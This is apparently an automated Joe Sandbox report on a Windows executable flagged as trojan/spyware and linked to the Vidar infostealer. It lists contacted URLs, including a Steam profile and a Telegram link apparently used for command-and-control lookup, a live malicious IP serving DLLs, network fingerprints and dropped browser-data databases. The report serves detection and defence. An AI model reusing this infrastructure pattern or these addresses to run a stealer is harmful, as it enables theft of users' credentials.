https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr	false		high
https://mozilla.org0/	nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://steamcommunity.com/profiles/76561199658817715Q	RegAsm.exe, 0000000D.00000002.1661591240.00000000013FF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.1331090186.0000000004C86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1342727823.00000000073C9000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.1331090186.0000000004C86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1342727823.00000000073C9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft=	powershell.exe, 00000005.00000002.1259440818.00000000079B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://78.46.229.36/sqlm.dlla	RegAsm.exe, 0000000D.00000002.1661591240.00000000013FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/privacy_agreement/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://contoso.com/Icon	powershell.exe, 00000006.00000002.1334348181.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/points/shop/	RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	FCAKFCGC.13.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	yU3icg18lq.exe	false		high
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://www.ecosia.org/newtab/	FCAKFCGC.13.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.1331090186.0000000004C86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1342727823.00000000073C9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://78.46.229.36	76561199658817715[1].htm.13.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://78.46.229.36/ets	RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.Qb0WswhkLhoa	GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?	RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=yp9unEzrjc_Z&amp	RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://store.steampowered.com/about/	76561199658817715[1].htm.13.dr	false		high
https://steamcommunity.com/my/wishlist/	RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://78.46.229.36/R	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://help.steampowered.com/en/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://steamcommunity.com/market/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://store.steampowered.com/news/	RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://contoso.com/License	powershell.exe, 00000006.00000002.1334348181.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis	RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	FCAKFCGC.13.dr	false		high
http://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://78.46.229.36/f	RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://78.46.229.3625763b9287ant-Disposition:	RegAsm.exe, 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://steamcommunity.com/discussions/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://steamcommunity.com/profiles/76561199658817715/inventory/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://store.steampowered.com/stats/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://steamcommunity.com/profiles/76561199658817715https://t.me/sa9okRed	powershell.exe, 00000006.00000002.1334348181.00000000061CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1347040814.0000000009099000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://store.steampowered.com/steam_refunds/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	FCAKFCGC.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://contoso.com/	powershell.exe, 00000006.00000002.1334348181.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://78.46.229.36/nss3.dll~$	RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://78.46.229.36/D	RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/workshop/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://store.steampowered.com/legal/	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
http://www.sqlite.org/copyright.html.	RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1674258120.0000000019D6D000.00000002.00001000.00020000.00000000.sdmp, sqlm[1].dll.13.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.1257996992.00000000063CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1334348181.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=	76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	FCAKFCGC.13.dr	false		high
https://aka.ms/pscore6lB_q	powershell.exe, 00000005.00000002.1256212858.0000000005361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1331090186.0000000004B31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199658817715	76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli	RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://store.steampowered.com/	76561199658817715[1].htm.13.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=n5zImpoIZ8N	RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	false		high
https://ac.ecosia.org/autocomplete?q=	FCAKFCGC.13.dr	false		high
https://78.46.229.36/pet	RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
78.46.229.36	unknown	Germany		24940	HETZNER-ASDE	true
23.47.27.74	steamcommunity.com	United States		16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1416885
Start date and time:	2024-03-28 08:34:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	yU3icg18lq.exe renamed because original name is a hash value
Original Sample Name:	8b8db4eaa6f5368eb5f64359c6197b43.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@15/36@1/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 116 Number of non-executed functions: 227
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 5304 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:35:47	API Interceptor	40x Sleep call for process: powershell.exe modified
08:35:58	API Interceptor	1x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
78.46.229.36	EcNghZJd5O.exe	Get hash	malicious	Vidar	Browse
	Rechnung.pdf.lnk	Get hash	malicious	Vidar	Browse
	Esp.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	EcNghZJd5O.exe	Get hash	malicious	Vidar	Browse	104.102.129.112
	Rechnung.pdf.lnk	Get hash	malicious	Vidar	Browse	104.105.90.131
	Esp.exe	Get hash	malicious	Vidar	Browse	104.102.129.112
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	104.105.90.131
	file.exe	Get hash	malicious	Vidar	Browse	104.71.182.190
	vHpxL6E2sQ.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, SmokeLoader	Browse	104.108.99.20
	032JvHA9s7.exe	Get hash	malicious	Vidar	Browse	104.108.99.20
	DT535jOgSS.exe	Get hash	malicious	Vidar	Browse	104.108.99.20
	DeFtiEnO8N.exe	Get hash	malicious	Vidar	Browse	104.108.99.20
	QSFXelVYGK.exe	Get hash	malicious	Vidar	Browse	104.108.99.20

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	EcNghZJd5O.exe	Get hash	malicious	Vidar	Browse	104.102.129.112
	101206 - 24595 - Nymc - 401K - Audit - Change Report 9(Rev) + 10 + 11 + 12-882755.docx	Get hash	malicious	Unknown	Browse	23.215.0.201
	https://www.applesassist.com/	Get hash	malicious	Unknown	Browse	23.43.243.144
	Rechnung.pdf.lnk	Get hash	malicious	Vidar	Browse	23.56.8.145
	Esp.exe	Get hash	malicious	Vidar	Browse	104.102.129.112
	https://www.msn.com/en-us/weather/forecast/in-Des-Moines,IA?loc=eyJsIjoiRGVzIE1vaW5lcyIsInIiOiJJQSIsImMiOiJVbml0ZWQgU3RhdGVzIiwiaSI6IlVTIiwidCI6MSwiZyI6ImVuLXVzIiwieCI6Ii05My42MjAzMzg0Mzk5NDE0IiwieSI6IjQxLjU4ODc5MDg5MzU1NDY5In0%3D&weadegreetype=F	Get hash	malicious	Unknown	Browse	23.222.200.163
	EXTERNAL Collins Aerospace PAYMENTS.msg	Get hash	malicious	Unknown	Browse	23.215.0.37
	https://assets-apj.mkt.dynamics.com/3432604b-b4e5-ee11-9049-000d3ac6dd9e/digitalassets/standaloneforms/6c301970-72e7-ee11-904c-6045bd2172c1#zoe.ealand@johnlewis.co.uk	Get hash	malicious	HTMLPhisher	Browse	23.215.0.49
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	104.105.90.131
	file.exe	Get hash	malicious	Vidar	Browse	104.71.182.190
HETZNER-ASDE	DHL AWB 4677349.exe	Get hash	malicious	AgentTesla	Browse	78.47.213.180
	EcNghZJd5O.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	https://oo5-secondary.z31.web.core.windows.net/werrx01USAHTML/?bcda=(0101)-88868-24910	Get hash	malicious	GRQ Scam, TechSupportScam	Browse	136.243.216.235
	Mauqes.exe	Get hash	malicious	NovaSentinel	Browse	144.76.136.153
	Rechnung.pdf.lnk	Get hash	malicious	Vidar	Browse	78.46.229.36
	Esp.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	78.46.229.36
	file.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	SecuriteInfo.com.FileRepMalware.25283.7828.exe	Get hash	malicious	BlackMoon	Browse	5.161.196.6
	SOA 820527940511.cmd.exe	Get hash	malicious	AgentTesla	Browse	78.46.216.122

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	EcNghZJd5O.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	Rechnung.pdf.lnk	Get hash	malicious	Vidar	Browse	78.46.229.36
	Esp.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	78.46.229.36
	file.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	vHpxL6E2sQ.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, SmokeLoader	Browse	78.46.229.36
	032JvHA9s7.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	DT535jOgSS.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	DeFtiEnO8N.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
	QSFXelVYGK.exe	Get hash	malicious	Vidar	Browse	78.46.229.36
37f463bf4616ecd445d4a1937da06e19	RFQ20240327_Lista comercial_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.47.27.74
	Richiesta di preventivo_RFQ03272024_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.47.27.74
	invoicee.vbs	Get hash	malicious	Unknown	Browse	23.47.27.74
	RFQ20240327_Lista commerciale.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.47.27.74
	TOMBIG - 9004898 - Ponuka#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	23.47.27.74
	salaryinfo24.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.47.27.74
	IMCA Nowe zam#U00f3wienie.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.47.27.74
	Wage_Plan_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.47.27.74
	FEDEX-TNT-OVERDUE-UNPAID-INVOICE980055177854.vbs	Get hash	malicious	Remcos, GuLoader	Browse	23.47.27.74
	DHL9407155789...exe	Get hash	malicious	DarkCloud	Browse	23.47.27.74

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	EcNghZJd5O.exe	Get hash	malicious	Vidar	Browse
	PIa51EkBL7.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	G2KdVscPB4.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	ofrAxT2J4j.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Rechnung.pdf.lnk	Get hash	malicious	Vidar	Browse
	Esp.exe	Get hash	malicious	Vidar	Browse
	ir95invGki.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	AZMtlFz66o.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	uaLNvY1Piu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
C:\ProgramData\mozglue.dll	EcNghZJd5O.exe	Get hash	malicious	Vidar	Browse
	PIa51EkBL7.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	G2KdVscPB4.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	ofrAxT2J4j.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Rechnung.pdf.lnk	Get hash	malicious	Vidar	Browse
	Esp.exe	Get hash	malicious	Vidar	Browse
	ir95invGki.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	AZMtlFz66o.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	uaLNvY1Piu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse

Created / dropped Files

C:\ProgramData\DBGHJEBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHIDHCAAKECGCBFIJDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAFHIIJJECGDHIEGDAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
